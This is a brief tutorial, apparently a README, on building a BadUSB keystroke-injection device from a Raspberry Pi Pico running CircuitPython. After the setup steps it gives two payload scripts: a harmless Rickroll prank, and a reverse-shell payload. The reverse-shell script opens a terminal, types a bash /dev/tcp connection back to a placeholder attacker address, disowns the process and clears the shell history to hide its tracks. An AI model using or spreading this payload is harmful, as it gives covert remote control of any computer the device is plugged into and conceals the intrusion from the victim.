BadUSB on Raspberry Pi Pico

Lia Potikyan

Install CircuitPython on Raspberry Pi Pico

Download the latest CircuitPython `.uf2` file for Raspberry Pi Pico from the CircuitPython website.

Connect the Raspberry Pi Pico to your computer while holding down the `BOOTSEL` button to enter USB mass storage mode.Drag and drop the `.uf2` file onto the Pico's storage.

It will reboot and appear as a CircuitPython device.

Download CircuitPython HID library

Go to the Adafruit CircuitPython Bundle and download the latest `.zip` file.

Extract the `.zip` file and copy the `adafruit_hid` library folder to the `lib` folder on the Pico's CIRCUITPY drive.

Create a `code.py` file

This file will contain the script to emulate HID actions.

Simple script that opens RickRoll:

```
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS

kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)

time.sleep(1)

kbd.send(Keycode.WINDOWS)
kbd.release_all()
layout.write("ter")

time.sleep(1)

kbd.send(Keycode.ENTER)
kbd.release_all()

time.sleep(1)

layout.write("xdg-open https://www.youtube.com/watch?v=dQw4w9WgXcQ")

kbd.send(Keycode.ENTER)
kbd.release_all()
```

Reverse Shell:

```
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS

kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)

time.sleep(1)

kbd.press(Keycode.CONTROL, Keycode.ALT)
kbd.press(Keycode.T)
kbd.release_all()
time.sleep(1)

reverse_shell_command = 'bash -c "bash -i >& /dev/tcp/<your-ip>/<your-port> 0>&1 & disown"'
layout.write(f'{reverse_shell_command}' + '\n')


layout.write('history -c\n')
kbd.press(Keycode.ENTER)
kbd.release_all()

layout.write('exit\n')
```